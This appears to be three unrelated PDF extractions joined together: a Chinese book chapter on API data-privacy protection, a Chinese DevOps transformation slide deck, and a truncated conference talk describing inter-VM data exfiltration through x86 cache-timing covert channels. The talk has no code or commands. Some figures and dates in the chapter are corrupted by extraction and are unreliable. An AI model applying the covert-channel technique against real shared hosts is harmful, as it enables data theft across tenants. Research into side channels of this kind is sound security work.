图13-3中“数据生命周期各阶段安全”板块从数据生命周期的63个阶 段分别描述了每一个阶段的安全能力,在API安全管理时,需要结合这 些能力,将安全措施融入其中,并基于个人信息的状态、信息的敏感级 别、信息的使用场景等,采用不同的技术手段和管理手段,保证成本可 控、风险可控、性价比最优的前提下体现安全的价值。 1.数据采集 数据采集是企业数据来源的源头,在此阶段,企业通过内外部渠道 采集业务数据或对原有数据进行更新操作。API作为应用程序接口一般 不涉及数据采集工作,更多的是作为工具参与到数据采集阶段。比如调 用数据分级分类API将上传的数据文件中的数据根据分级规则进行自动 化数据分级分类、数据格式校验、数据格式标准化、数据转换等。如果 API仅作为工具提供某一种单一功能,往往短暂性小范围使用,其安全 性并不要求多高。但如果API作为工具之外,也作为能力通道,涉及数 据的收集和获取,则安全性要求又将提高很多。例如,使用API服务将 外部数据抽取到企业内部,则必须考虑API数据采集过程中个人信息 数据传输的保护。 还有一种场景下的API使用需要注意数据采集时的隐私保护,即客 户端SDK的使用。对于某个API平台或API服务提供方来说,会提供API 快速接入的SDK供接入者使用,并在SDK中收集信息来跟踪API的使用 情况。如果是这类情况,则需要注意数据采集时的隐私数据保护。首先 要遵循最小化原则,能不收集的信息尽可能不去收集,如果因业务需要 不得不收集,则需要遵循明示收集、公开说明收集规则、使用目的、 方式和范围并经被收集者同意的原则,还要提供隐私协议文本供第三 方使用时集成。 2.数据传输 数据传输是企业数据实现数据价值最基本的方式,数据只有参与传 输和交换才能真正实现其价值。API作为接口交互类技术,数据传输也 是其最基本的功能,可以这么说,没有数据传输也就没有API技术存在 的价值。 在数据传输阶段,除了管理上的数据规范和安全流程外,在技术上 需要重点考虑API自身的数据通信信道或传输链路的安全,比如使用 TLS/SSL技术,传输之前,除了接入方的身份鉴别、访问控制外,还要 考虑数据的加密、签名或脱敏、匿名化处理;接收数据方同样也需要对 接收到的数据进行解密、签名验证、格式校验等。传输链路的两端,都 需要做好审计日志的存储和采集,以供审计、溯源、取证等功能模块使 用。 数据传输中涉及诸多安全技术处理手段,在本书的安全设计篇(第 6~9章)提及的内容,大多数都与数据传输有关。数据运营者需要将这 些技术融入当前的业务流程中,提供高质量的数据传输安全保障能力。 3.数据存储 数据存储的安全性原意是指数据存储时存储介质的安全性,以及围 绕存储介质安全做的管理性保护措施和技术性保护措施。从这个角度 看,数据存储安全与API的关联关系基本不涉及。如果从动态的视角去 看数据存储,存储的数据始终是需要对外提供数据访问、供外部消费 的。不能提供消费的数据跟存储在银行的货币一样,只有在流通中才能 体现货币的价值。从这个角度看,如何去构建一套安全的、可供数据流 通和运营的数据存储架构是数据存储阶段最大的挑战。 对隐私数据来说,存储前需要根据数据分类分级提供不同的加密保 护措施、不同的存储区域、不同的数据冗余和备份策略等,还需要针对 存储的数据做不同的身份鉴别和访问控制。这些内容,在API的安全设 计中,需要通过权限访问控制策略、互相独立的API服务单元、API调 用监控等功能来满足其数据存储架构的安全性。 数据存储时,与API安全相关必须要提及的是临时性的数据存储, 特别是API网关产品中,为了提高网关性能所提供的缓存能力,需要关 注其是否缓存了隐私数据。这会跟其缓存机制的实现有关,如果是使用 内存来作为缓存,则需要考虑这部分内存的使用保护,防止出现内存共 享与竞争的情况;如果是使用Redis或H2数据库作为技术手段实现缓存 机制,则需进一步分析数据在Redis或H2数据库是如何存储的。 4.数据处理 数据处理在API自身管理工作中占有不小的比重,在API网关章节 中可以了解到,API管理能力中很大一部分能力是对API全生命周期的 管理,这其中包含不同API协议转换、访问路由,甚至API服务聚合 等,这些功能的提供都与数据处理相关。 除了API自身管理涉及数据处理的安全性外,API作为微服务架构 中各个微服务之间通信的载体,需要考虑与各个微服务节点之间的安全 性,比如身份认证、访问控制、日志审计等。而对于当前计算环境中的 隐私数据,更要关注其传播范围和传播形式,通过监控与审计,确保隐 私数据不被泄露。 在数据处理阶段,数据分析是其中关键的一环,数据分析又可分为 线上分析和线下分析两种,线下分析通常的解决方案是将生产环境的数 据脱敏或匿名化之后,再导入测试环境,进行数据派生、聚合、关联分 析等数据分析过程;而线上的数据分析与API安全关系更为密切,需要 从数据输出结果的角度,评估和审视输出的数据是否涉及数据隐私, 比如是否会导致个人信息泄露、是否可以关联还原隐私信息、是否具备 审计和溯源的要求等,采取多种安全保护措施来保障数据隐私在使用中 的安全。 5.数据交换 数据交换的场景主要发生在数据导入导出、数据共享、数据发布等 环节,对于API来说,与数据共享、数据发布关系较大。不同的企业或 组织之间共享数据,从数据隐私保护法律监管的角度上,需要签署数据 责任传递性的相关合同或法律文本,明确数据使用者的数据保护责任, 并建立审核机制,确保数据使用者对共享数据具备足够的安全保护能 力,约定数据类型、包含内容、使用范围等。 对外部通过API共享的数据,需要对API提供准入和审核机制,加 强数据共享过程和数据使用范围的监控,建立应急响应机制和定期安 全风险评估机制,以保障API自身和数据的持续安全性。 对外发布数据的API在发布前,需要审查发布规范,核实数据的使 用范围,验证数据发布的合规性,确保数据发布过程符合监管要求。并 应考虑数据发布后可能带来的风险,提前做好风险识别和处理预案。 6.数据销毁 数据销毁的过程与API之间通常不存在关联,对于数据隐私保护的 合规性要求中,存在用户注销和删除的权利,通常涉及个人信息管理的 API也会提供个人信息注销或删除的API。但这不是数据销毁阶段关注 的重点,数据销毁在隐私保护中更多的是关注存储介质层面的数据销毁 工作。因与API无关,故不在此赘述。 13.2.3 API技术面临的数据隐私保护风险 从数据生命周期的各个阶段去看,API安全基本涉及其中的每一个 阶段(数据销毁除外)。对API技术的使用者来说,涉及数据隐私保护 时,主要有哪些风险呢? ■ 数据隐私合规性风险:前文中谈论国内外数据隐私发展现状时, 主要讨论了隐私合规的监管要求和法律条文,无论是国内App隐私合规 的《App违法违规收集使用个人信息行为认定方法》还是某些咨询机构 为企业提供的欧盟《GDPR安全隐私合规性指南》,其很多内容的理解 会涉及法律、信息安全、企业信息化等多学科交叉领域,在大型企业 中,通常需要法务、信息安全、技术管理等几个部门通力协作来解决这 些问题。而这对中小企业来说,能正确地理解这些问题的含义已是一个 不小的挑战,准确的技术实现又将是一个更高难度的挑战,企业往往力 不从心,无法满足合规要求。 ■ 数据隐私泄露的风险:隐私数据泄露通常是多方面原因造成的, 有外部黑客或攻击者的恶意行为导致的,也有内部人员为了经济利益自 行泄露的,还可能因为企业员工疏忽或API安全机制考虑不足无意中泄 露的。无论是哪一种方式导致的隐私数据泄露,如果API作为数据泄露 中哪一个环节的出口,都将是对API整体安全的破坏,而隐私数据泄露 事件本身比这更为严重。 ■ 数据隐私滥用的风险:一直以来,很多企业的数据使用习惯中, 缺少对隐私数据的敬畏心理,没有养成良好的使用习惯和建立基本的隐 私数据保护流程来跟踪隐私数据的使用。很多时候,这些数据从生产环 境被导出,又导入测试环境,供业务系统进行编码开发和测试验证。这 个过程中,缺少对数据的脱敏或匿名化处理,对使用这些数据的员工, 又缺少应有的监控手段和审计机制,导致数据传播的范围被扩大而无法 追踪,直至失控发生泄漏事件。 ■ API安全管理经验缺乏的风险:虽然API技术在互联网企业已经 被使用很多年,但如何系统化地管理好API资产,结合数据隐私保护和 数据安全管理模型,形成一套高效的最佳实践,仍困扰着很多企业的技 术管理者。大多数企业内部,API的形态因企业信息化系统或业务系统 建设的时期不同而不同,API技术混杂,从没有专门从API的视角去做 定期的审视回顾,无法掌握企业对API的使用现状。同时,API数据隐 私的管理过程中,涉及诸多的技术,尤其是新技术,在缺乏管理经验和 统一规划的前提下,很难持续地、阶段性地提高API安全能力。 对于有决心做好API治理的企业,这些既是风险也是挑战,要想切 实地解决这些问题,需要围绕API的典型安全问题和隐私问题,从流 程、人和技术上进行三位一体的综合治理,分阶段、分步骤地推进实 施计划,逐步构建完善的API安全管理体系。 13.3 业界最佳实践 面对全球范围内数据隐私监管行为的不断加码,各大互联网企业在 API数据隐私保护方面开展了广泛的实践,有单点的数据隐私保护技 术,也有体系的能力构建。这里,从互联网公开的资料中,选择一些典 型的案例,与读者一起学习交流,共同探讨数据隐私保护的最佳实践。 13.3.1 案例之Microsoft API使用条款 无论是从业务视角去看API经济还是从技术视角去看API技术的使 用,为API提供专门的服务协议已逐渐被各个互联网企业所重视。国内 已有不少头部厂商为某个业务的API开放接口提供了独立的使用协议, 比如腾讯地图的《腾讯位置服务开放API服务协议》,阿里巴巴集团旗 下高德开放平台的《高德地图API服务协议》。在这里,以《微软API 使用条款》(以下简称为条款)中文版来讨论API使用中的安全与数据 隐私相关的服务协议。 作为API服务提供方,微软是API安全的责任方,同时对使用微软 API的第三方厂商来说,微软拥有API安全的监督义务。在此条款中的 安全章节,微软对第三方厂商使用API提出了明确的安全接入要求、安 全义务以及其自身的安全监督权利,其中安全接入要求主要如下。 ■ 第三方厂商的网络、服务器、操作系统、软件、数据库等必须正 确的安全配置,以安全的方式操作微软API。 ■ 通过应用程序收集的内容(包括微软API内容),必须使用合理 的安全措施来保护用户的数据隐私。 作为第三方厂商,需要在API使用中,履行以下义务。 ■ 向微软提供完整的客户端应用实例,以供微软能访问第三方应用 程序,从而验证第三方厂商是否遵守了微软的API条款。 ■ 建立漏洞响应流程,并对于应用程序中的漏洞,同意向微软安全 响应中心进行漏洞披露。 ■ 配合微软开展安全问题或数据泄露问题的核查。 作为监督方,微软具有以下监督处置权利。 ■ 对于第三方厂商的API使用,进行安全检测、安全监控、隐私监 控等,必要情况下,限制或终止第三方厂商对微软API的访问。 ■ 第三方厂商未能提供足够的信息和材料来证明自身遵循微软API 条款,微软可以限制或终止第三方厂商对API的访问。 对于数据隐私和合规方面,此条款中也从以下几个方面做出了协议 约定。 ■ 隐私数据法律合规的遵从:使用微软API访问的数据适用的所有 法律法规,包括但不限于与隐私、生物数据、数据保护和通信保密相关 的法律法规。 ■ 隐私数据保护的责任:使用微软API获得的数据的责任,并为这 些数据提供安全保护措施。 ■ 明示同意权:处理数据前,获得所有必要的同意;如果处理发生 变化时,获得额外的同意。 ■ 数据保留和数据删除权:当用户不再使用厂商的应用程序、卸载 应用程序、注销应用程序的账户时,应用程序需要提供相关功能并删除 数据。 ■ 明示收集与使用:提供书面用户隐私声明,描述收集哪些数据, 如何收集,收集后如何使用这些数据,访问和控制策略是什么等。 ■ 使用条款变更:作为一个API使用条款,通常是随着外部环境的 变化而不断更新条款内容。而变化后的条款是如何适用的,一般也需要 在条款中说明。在微软API条款的开头部分,显性地强调了这点。 通过上述内容的分析,读者基本了解了API使用条款中安全与数据 隐私相关的内容,同时也能看出,API使用条款与一般业务类的使用条 款差别并不是很大。普遍的情况是,国内外厂商应用程序中将服务条款 和隐私政策区分开作为两个协议文本或将隐私政策作为服务条款中的一 个子部分提供给最终用户使用。标准的隐私政策范本,通常包含以下83 个方面的内容。 ■ 如何收集和使用用户个人信息。 ■ 如何使用Cookies和同类技术。 ■ 如何共享、转让、公开披露用户个人信息。 ■ 如何保护和保存用户个人信息。 ■ 用户如何管理自己的个人信息。 ■ 未成年人的个人信息保护。 ■ 隐私政策的变更。 ■ 如何联系厂商。 隐私政策是API服务提供者在数据隐私保护政策方面的综合体现, 一般由业务、安全、法务三方人员共同拟定,包含为什么要采集用户个 人信息,哪些功能需要使用这些信息,哪些是基础功能需要的权限,哪 些是拓展功能需要的权限,如何使用、共享、披露这些信息以及对这些 数据是如何保护的等主要内容,感兴趣的读者可以搜索各大互联网厂商 的用户协议和隐私政策对照学习。 13.3.2 案例之京东商家开放平台API敏感信息处理 京东商家开放平台(https://open.jd.com)是依托京东商城、京喜等 多样化零售业务体系,为外部商家提供的京东零售能力的综合性开放平 台,它包含各类工具和服务,数千个对外开放API,涵盖了京东核心交 易和各项垂直业务的主要流程等。在其为商家提供的接口中,包含一些 数据隐私的接口(在平台中被称为敏感接口)。下面,参考其23020年 53月230日的公开文档,讨论其中的安全保护机制。 1.安全接入与安全规范 几乎所有的API开放平台,对于第三方厂商的接入身份都有严格的 要求,比如开放平台的开发者身份和应用程序注册后的APPKEY。通过 开发者身份的验证和APPKEY的验证,来保障API调用的身份安全。京 东商家开放平台在此基础之上,还限定了调用者来源,即API调用的发 起必须在其云平台范围内,不允许外部或公网发起API的调用,这是从 请求来源侧对API调用的保护。而为了保护其数据安全,第三方厂商的 应用程序必须部署在其云平台上,数据必须在云平台范围内保存和使 用,禁止传递到外部。并且在云平台部署的第三方应用、数据、系统等 需要满足基本的安全技术配置和安全规范要求,完成日志和加解密的接 入。京东商家开放平台通过日志审计和安全监控,检测和保障线上第三 方应用程序的安全性。 2.敏感数据处理要求 对于平台中涉及的敏感数据,需要遵守京东的数据安全规范,比 如数据必须使用京东的加密方式进行存储和传输、前端展示时对用户敏 感信息脱敏处理、批量下载导出订单时需要进行手机短信验证等。其平 台中部分敏感数据的脱敏样例如表13-1所示。 表13-1 京东商家平台部分敏感数据脱敏样例 除了上述展示场景下的数据脱敏外,对于API中涉及的敏感数据和 字段,在不同的接口中是否需要加密处理也做了明确的定义,如表13-2 所示。 表13-2 京东商家平台部分API敏感信息加密字段 数据脱敏能有效地保障数据隐私在展现时被泄露,而API通信过程 中对敏感字段的加密处理能从应用层防止数据被窃取,保障这些数据的 私密性,防止数据泄露的发生。 3.敏感数据加解密 对于涉及数据隐私的API,在调用时必须进行数据加解密处理,其 数据加解密流程如图13-4所示。 客户端应用程序调用敏感数据API时,获取到的是加密后的敏感数 据,必须再次调用SDK中的密码管理模块对密文进行解密方可获取明文 数据。而且加密的数据不是一成不变的,是与请求Token保持一致的有 效期,超过此有效期,密钥和密文均发生变化,将由SDK中的密码管理 模块定期重新获取。这种具有时效性的安全机制,可以防止密文的破 解,同时,利用每一个用户Token的不同,防止同一个数据加密后出现 相同的密文,增加了破解的难度,提高了数据隐私的安全性。 在客户端应用程序身份鉴别上,初始化密码管理对象实例时,需要 指定参数accessToken、appKey、appSecret、appKey和appSecret。开发 者在商家平台中注册应用程序时,审核通过后由系统生成的身份标识, 加上accessToken的时效性和必须经过授权的安全机制,增加了调用身份 安全性的同时,减少了密钥泄露的风险。 ●图13-4 京东商家平台敏感API敏感加解密流程 当然,京东商家开放平台对于敏感数据的保存措施不仅仅是上文讲 述的内容,还有许多其他的安全保护措施,比如精准密文查询、模糊密 文查询、历史敏感字段数据全部清洗成密文存储等,感兴趣的读者可以 登录其网站查询相关帮助文档,这里仅抛砖引玉,将其中的部分场景做 简要分析,供读者学习参考。 13.4 小结 数据隐私保护是当前非常热门的话题,同时也是对技术要求非常高 的研究领域,国内外很多企业或研究机构充分利用人工智能和信息安全 以及其他学科知识开展数据隐私保护实践工作。本章从隐私保护监管现 状入手,介绍了在数据生命周期中,如何保护API中涉及的敏感数据, 并通过Microsoft API使用条款和京东商家平台两个案例,简要分析了其 实践过程,为读者的API数据隐私保护提供参考思路。
pdf
如何有效突破 DevOps转型的临界点 张 乐 高效运维社区 合伙人 前百度资深敏捷/DevOps专家 自我介绍 张 乐 • 高效运维社区合伙人、DevOps时代联合创始人 • 前百度资深敏捷教练、DevOps专家 • 国内首批 Certified DevOps Master • DevOps Master 授权讲师,凤凰项目沙盘授权教练 • 全球TOP外企,国内一线互联网 • 百度云、百度金融等新技术产品敏捷转型主导者 • DevOpsDays 大会、GOPS全球运维大会金牌讲师 DevOps 已成为发展趋势 IT 的技术革新 推进 DevOps 转型过程中经常遇到的问题 • 为什么需要DevOps转型? • 如何明确阐述转型的价值? 转型启动 方案设计 项目试点 整体推广 • 采购和引入工具是否足够? • DevOps体系非常庞大,实施 难度较大,应该从何处做起? • 项目紧急,没空做转型? • 转型过程中团队成员不支持? • 转型初期效果不明显怎么办? • 效率提升了,质量却下降了? • 试点成果规模化的路径? • 推广的组织结构是怎样的? 鸟飞派 VS 空气动力学派 应用底层规律,理解问题实质并解决问题 查理 · 芒格 『如果你只是孤立地记住一些事物,试 图把它们硬凑起来,那你无法真正理解 任何事情……你必须依靠模型组成的框 架来安排你的经验。』 进化论 概率论 复利效应 黄金思维圈 安全空间 系统思考 二八法则 约束理论 临界 知识 为什么需要DevOps 转型? 进化论 想要在变化的世界里生存得更好,你得在环境发生变化的时候快速响应 • 传统的软件工程方法 - 系统的应用工程方法 - 基于预测性 - 重管控、结构化 - 有时避免或拒绝合理变更 图片来源:《 DevOps is not enough 》 @ufried • 新的方法应对VUCA挑战 - 面向业务目标 - 助力业务成功 - 快速交付价值 - 灵活响应变化 “we$didn’t$do$anything$wrong,$ but$somehow,$we$lost” 如何明确阐述转型的价值? DevOps 需要面向业务目标,助力业务成功 采购和引入工具是否足够? 系统思考 系统不是简单的因果关系,而是回路网状关系 进行更深入的系统思考,需要从系统的互动关系入手 DevOps 道法术器 A 道 A H 法 HH A 术 器 E & 实 现 I T 服 务 的 供 应 链 , 快 速 、 高 质 量 交 付 业 务 价 值 有 效 应 对 V U C A 挑 战 , 让 I T 成 为 业 务 发 展 的 竞 争 优 势 Reference :Patrick Debois《Devops Areas - Codifying devops practices》 • Automation: Extend delivery to Production (IaC) • Measurement:$ Extend Operations feedback to Project (Metrics) • Culture :$ Embedded$Project knowledges into$Operations (Dev wear pagers, Co-responsible) • Sharing:$ Embedded$Operations$knowledge into$Projects (Monitoring, security stories into project backlog) DevOps 之『道』 快速交付价值,灵活响应变化 Reference :《DevOps Master Whitepaper: Success$with$Enterprise$DevOps$》 Reference :KK《 Why, What, and How of Continuous Delivery 》 DevOps 之『法』 全局打通&捷开发 & 高效运维 DevOps 之『术』 系统应用指导原则 、 最佳实践 • • • • • • • • • • • • • • • DevOps 之『术』– 持续交付框架 Continuous$Delivery$is$the$ability$to$get$changes$of$all$types—including$new$features,$configuration$changes,$bug$fixes$ and$experiments—into$production,$or$into$the$hands$of$users, safely and quickly in$a sustainable way. --Jez Humble 张乐 (乐神 @ 高效运维社区) 发布频率 分支模型 测试 架构 发布 基础设施 数据库 每100天发布一次 每10天发布一次 每天发布 每天发布10次 每天发布100次 主干开发 为发布创建分支 在主干开发 从主干发布 拉动提交 请求到发布分支 由开发人员和测试人员共同维护自动化功能测试 所有东西 一起部署 每个产品/每种Web资源单独一个包 严格的SOA架构,向前和向后兼容 功能版本,版本火车 灰度发布、蓝绿部署、金丝雀发布 开发自己将变更部署到生产 异构,运维部门 统一管理 可以通过收版本控制管理的脚本 来准备类生产环境 标准化的PaaS或者IaaS、Caas 平台来交付 手动迁移 设计中考虑应用对数据库的前向、后向兼 容性(采用扩展或契约) 采用增量脚本变更数据库 并对回滚进行演练 在分支上开发 合并到发布分支,然后发布 后再次创建分支 由单独的质量保证部门 负责功能测试自动化 在部署流水线中组织快速、完备 的自动化单元测试和功能测试 DevOps 之『术』– 最佳实践集合 Reference :《Lean Enterprise 》 DevOps 之『器』 6. Build 1. Build 4. Code Review 5. Merge To Master 2. UT 3. Sonar 8. Build Docker Image 7. UT 9. Deploy To Test Env 10. Smoke Test 11. System Test 12. Deploy To Product Env 10% 13. Deploy To Product Env 100% &到&工具链相互联通 & 整合 全开源端到端交付流水线 V2.0 @高效运维社区 DevOps体系非常庞大,应该从何处做起? 二八法则 在资源有限的情况下,需要找到实现高绩效的突破口 把80%的资源,用到能产出关键效益的20%的工作上 尽可能自动化一切工作 自动化是高效能团队的显著特征 • 配置管理 • 自动化测试 • 自动化部署 • 变更审批流程 投入效果:在创新和快速反馈上能投入更多时间 DevOps体系非常庞大,应该从何处做起? 约束理论 明确过程中影响绩效的瓶颈,努力去解决它们 聚焦于瓶颈的改善,达到系统各环节同步、整体改善的目标 聚焦于瓶颈的改善 项目紧急,没空做转型? 复利效应 做事情A,会导致结果B,而结果B又会加强A,不断循环 需要长期坚持,会达到临界点,实现跨越式发展 Reference: Damon Edwards 《The History of DevOps And what you need to do about it 》 转型过程中团队成员不支持? 黄金思维圈 深入思考WHY,抓住问题的关键 抓住WHY的本质,激发HOW的创意 《第五项修炼》:每个人不能只囿于自己的岗位,觉得只做好分内之职就可以了, 要对职位之间相互关联产生的结果负有一定责任 & Reference: martinfowler.com • 责任共担:鼓励合作的发生 • 自动化:DevOps运动及促进 合作的基石 • 内建质量:频繁和低风险发布 的基础 • 反馈:为了实现持续改进 • 推倒部门墙:早期参与、构建 合作文化 • 自组织团队:改变风险管理方 式、建立对失败的宽容环境 • 营造DevOps文化:奖励『改 进冒险』的『行为』 转型初期效果不明显? 概率论 在不确定性的世界中,选择不断投入成功概率最大的事情中 从长期来看,一直投入最大赔率的事情,终会有回报 = 12.5 效率提升了,质量却下降了? 安全空间 小概率事件会造成极端严重的后果 构建安全空间,保证复利效应持续起作用 方案一:增强分级测试验证,减少出错概率 • 在追求速度提升的同时,不能以牺牲质量为代价 • 如果在内建质量上投入不足,会造成更多的故障 方案二:提升系统的反脆弱性,增强容错能力 • 改进交付流水线的效率,能够快速进行故障恢复 • 主动发现弱点:『避免失败的最好办法是经常失败』 if it hurts, do it more often 试点成果规模化的路径? 第一种路径 • 首先是从组织级认识到DevOps的重要 性,并开始立项做相关的准备 • 然后在工作组级开始启动相关建设,当 在团队级通过采用一些实践取得成功后, 再把这些成果扩展到工作组级 • 最终向组织级做规模化的推广 第二种路径 • 首先从团队级别做小范围的改进和建设, 然后让领导层清晰的了解我们在做 DevOps的尝试 • 直到在团队级通过采用一些实践取得成 功后,再把这些成果扩展到工作组级 • 在获得管理层的支持后,最终向组织级 做规模化的推广 推广的组织结构是怎样的? 变革推进小组 变革Sponsor 变革推进小组 变革实施团队 研发工具链 研发工具链团队 测试服务平台 测试平台团队 发布部署平台 运维平台团队 跨 职 能 产 品 团 队 IT value chain Dev Ops Business Capabilities … 跨 职 能 产 品 团 队 跨 职 能 产 品 团 队 跨 职 能 产 品 团 队 • Overall Goal • T-shaped • Co-located We$choose$to$go$to$the$moon$in$this$decade$and$do$ the$other$things,$not2because2they2are2easy,2but2 because2they2are2hard,$because$that$goal$will$serve$to$ organize$and$measure$the$best$of$our$energies$and$ skills,$because2that2challenge2is2one2that2we2are2 willing2to2accept,2one2we2are2unwilling2to2postpone,2 and2one2which2we2intend2to2win,$and$the$others,$too. We2choose2to2go2to2the2Moon U.S.$President John$F.$Kennedy Q & A
pdf
Cisco Confidential 1 © 2009 Cisco Systems, Inc. All rights reserved. NG Update Copyright © 2010 Cisco Systems, Inc. All rights reserved. Cisco Confidential Panini Inter-VM data exfiltration The art of cache timing covert channel on x86 multi-core Etienne Martineau Kernel Developer August 2015 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 2 NG Update VM #1 “client” VM #2 “server” © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 3 NG Update Research… own time… my opinions… not my employers… The information and the code provided in this presentation is to be used for educational purposes only. I am in no way responsible for any misuse of the information provided. In no way should you use the information to cause any kind of damage directly or indirectly. Disclaimer © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 4 NG Update About me © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 5 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 6 NG Update VM #2 VM #1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 7 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 8 NG Update VM#1 Modulate a contention pattern 1 | 0 | 0 | 0 | 1 MUL | NOP | NOP | NOP | MUL © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 9 NG Update VM#1 Modulate a contention pattern 1 | 0 | 0 | 0 | 1 MUL | NOP | NOP | NOP | MUL VM#2 Detect BUS contention Slow| Fast| Fast| Fast| Slow 1 | 0 | 0 | 0 | 1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 10 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 11 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 12 NG Update Video #1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 13 NG Update Goal – Practical implementation ( not just some research stuff ) How – Abusing X86 shared resources – Cache line encoding / decoding – Getting around the HW pre-fetcher – Data persistency and noise. What can be done? – Guest to host page table de-obfuscation. The easy way – High precision inter-VM synchronization: All about timers Detection / Mitigation Overview © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 14 NG Update Shared resource: HT enabled Pipeline contention “previous example” L1 modulation L2 modulation VM #2 VM #1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 15 NG Update Shared resource: HT disabled Pipeline contention “previous example” L1 modulation L2 modulation L3 modulation VM #2 VM #1 http://it.slashdot.org/story/05/05/17/201253/hyper-threading-linus-torvalds-vs-colin-perciv © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 16 NG Update Shared resource: Multi socket VM #2 VM #1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 17 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 18 NG Update © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 19 NG Update VM#1 encode a pattern in cache line CL0 | CL1 | CL2 | CL3 | CL4 1 | 0 | 0 | 0 | 1 Load | Flush| Flush| Flush| Load © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 20 NG Update VM#1 encode a pattern in cache line CL0 | CL1 | CL2 | CL3 | CL4 1 | 0 | 0 | 0 | 1 Load | Flush| Flush| Flush| Load VM#2 decode the cache line access time CL0 | CL1 | CL2 | CL3 | CL4 Fast| Slow | Slow | Slow | Fast 1 | 0 | 0 | 0 | 1 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 21 NG Update NO VM Simple Client / Server test program Cache Line from shared memory directly Mutex for inter-process signaling Client encode a pattern © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 22 NG Update NO VM Simple Client / Server test program Cache Line from shared memory directly Mutex for inter-process signaling Client encode a pattern Server decode Something weird? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 23 NG Update • Simple test: • Flush CL0 -> CL100 • Measure CL access time for CL0 -> CL100 • Long latency for all CL © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 24 NG Update • Simple test: • Flush CL0 -> CL100 • Measure CL access time for CL0 -> CL100 • Long latency for all CL • ??? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 25 NG Update Prefetching in general means bringing data or instructions from memory into the cache before they are needed • Simple test: • Flush CL0 -> CL100 • Measure CL access time for CL0 -> CL100 • Long latency for all CL • ??? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 26 NG Update Prefetching in general means bringing data or instructions from memory into the cache before they are needed The Core™ i7 processor and Xeon® 5500 series processors, for example, have some prefetchers that bring data into the L1 cache and some that bring data into the L2. There are also different algorithms – some monitor data access patterns for a particular cache and then try to predict what addresses will be needed in the future. • Simple test: • Flush CL0 -> CL100 • Measure CL access time for CL0 -> CL100 • Long latency for all CL • ??? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 27 NG Update Prefetching in general means bringing data or instructions from memory into the cache before they are needed The Core™ i7 processor and Xeon® 5500 series processors, for example, have some prefetchers that bring data into the L1 cache and some that bring data into the L2. There are also different algorithms – some monitor data access patterns for a particular cache and then try to predict what addresses will be needed in the future. • Simple test: • Flush CL0 -> CL100 • Measure CL access time for CL0 -> CL100 • Long latency for all CL • ??? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 28 NG Update Simple trick that randomized CL access © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 29 NG Update Simple trick that randomized CL access CL access random within a page © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 30 NG Update Simple trick that randomized CL access CL access random within a page CL access random across pages © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 31 NG Update Simple trick that randomized CL access CL access random within a page CL access random across pages This apparently manage to confuse the HW prefetcher! © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 32 NG Update What happen if we wait longer before decoding? © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 33 NG Update What happen if we wait longer before decoding? Wait © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 34 NG Update What happen if we wait longer before decoding? Wait Wait © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 35 NG Update What happen if we wait longer before decoding? Wait Wait Wait © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 36 NG Update What happen if we wait longer before decoding? Wait Wait Wait Encoded data in the cache evaporates pretty quickly. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 37 NG Update Noise © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 38 NG Update Noise © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 39 NG Update Noise © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 40 NG Update Noise © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 41 NG Update Client in VM#1, Server in VM#2 © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 42 NG Update Client in VM#1, Server in VM#2 L2 OR L3 cache are tagged by the physical address but in a VM the physical address that you see has nothing to do with the real physical address on bare metal that the cache is using. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 43 NG Update Client in VM#1, Server in VM#2 L2 OR L3 cache are tagged by the physical address but in a VM the physical address that you see has nothing to do with the real physical address on bare metal that the cache is using. There is another layer of translation © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 44 NG Update Client in VM#1, Server in VM#2 L2 OR L3 cache are tagged by the physical address but in a VM the physical address that you see has nothing to do with the real physical address on bare metal that the cache is using. There is another layer of translation This is a complex problem to solve © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 45 NG Update Page de-duplication KSM enables the kernel to examine two or more already running programs and compare their memory. If any memory regions or pages are identical, KSM merge them into a single page physical page on bare-metal host kernel. © 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 46 NG Update Page de-duplication KSM enables the kernel to examine two or more already running programs and compare their memory. If any memory regions or pages are identical, KSM merge them into a single page physical page on bare-metal host kernel. If one of 